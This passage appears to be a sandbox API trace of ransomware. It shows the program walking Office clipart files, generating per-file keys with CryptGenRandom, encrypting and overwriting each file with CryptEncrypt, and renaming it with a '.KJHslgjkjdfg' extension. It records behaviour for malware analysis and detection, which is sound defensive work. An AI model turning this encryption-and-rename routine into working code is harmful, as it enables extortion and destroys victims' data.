(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.kjhslgjkjdfg")) returned 1 [0194.108] CloseHandle (hObject=0x130) returned 1 [0194.108] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0194.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.109] GetProcessHeap () returned 0x2ef0000 [0194.109] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.109] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.109] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.109] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.113] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.113] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.113] GetProcessHeap () returned 0x2ef0000 [0194.113] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.113] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.114] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.114] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.114] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.114] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.114] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.114] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.114] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.114] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.114] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4c14, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4c14, lpOverlapped=0x0) returned 1 [0194.115] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c20, dwBufLen=0x4c20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c20) returned 1 [0194.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.115] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4c20, lpOverlapped=0x0) returned 1 [0194.115] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.115] SetEndOfFile (hFile=0x130) returned 1 [0194.116] GetProcessHeap () returned 0x2ef0000 [0194.116] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.116] GetProcessHeap () returned 0x2ef0000 [0194.117] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.kjhslgjkjdfg")) returned 1 [0194.117] CloseHandle (hObject=0x130) returned 1 [0194.117] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0194.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.118] GetProcessHeap () returned 0x2ef0000 [0194.118] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.118] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.118] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.120] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.120] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.120] GetProcessHeap () returned 0x2ef0000 [0194.120] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.120] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.120] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.120] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.120] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.120] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.120] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.120] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.120] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.120] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.120] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xeb8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xeb8, lpOverlapped=0x0) returned 1 [0194.120] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xec0, dwBufLen=0xec0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xec0) returned 1 [0194.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.121] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xec0, lpOverlapped=0x0) returned 1 [0194.121] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.121] SetEndOfFile (hFile=0x130) returned 1 [0194.122] GetProcessHeap () returned 0x2ef0000 [0194.122] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.122] GetProcessHeap () returned 0x2ef0000 [0194.122] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.kjhslgjkjdfg")) returned 1 [0194.123] CloseHandle (hObject=0x130) returned 1 [0194.123] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0194.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.124] GetProcessHeap () returned 0x2ef0000 [0194.124] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.124] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.124] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.126] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.126] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.126] GetProcessHeap () returned 0x2ef0000 [0194.126] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0194.126] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0194.126] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.126] WriteFile (in: hFile=0x130, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0194.126] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.126] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.126] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.126] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.126] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.126] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.126] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd16, lpOverlapped=0x0) returned 1 [0194.127] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd20, dwBufLen=0xd20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd20) returned 1 [0194.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.127] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd20, lpOverlapped=0x0) returned 1 [0194.127] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.127] SetEndOfFile (hFile=0x130) returned 1 [0194.129] GetProcessHeap () returned 0x2ef0000 [0194.129] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0194.129] GetProcessHeap () returned 0x2ef0000 [0194.129] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.kjhslgjkjdfg")) returned 1 [0194.130] CloseHandle (hObject=0x130) returned 1 [0194.130] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0194.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.131] GetProcessHeap () returned 0x2ef0000 [0194.131] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.131] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.131] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.132] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.132] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.132] GetProcessHeap () returned 0x2ef0000 [0194.132] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.132] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.132] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.132] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.132] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.132] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.132] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.133] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.133] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.133] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.133] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x714c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x714c, lpOverlapped=0x0) returned 1 [0194.135] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7150, dwBufLen=0x7150 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7150) returned 1 [0194.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.135] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7150, lpOverlapped=0x0) returned 1 [0194.135] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.135] SetEndOfFile (hFile=0x130) returned 1 [0194.138] GetProcessHeap () returned 0x2ef0000 [0194.138] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.138] GetProcessHeap () returned 0x2ef0000 [0194.138] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.kjhslgjkjdfg")) returned 1 [0194.139] CloseHandle (hObject=0x130) returned 1 [0194.139] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0194.139] CreateFileW 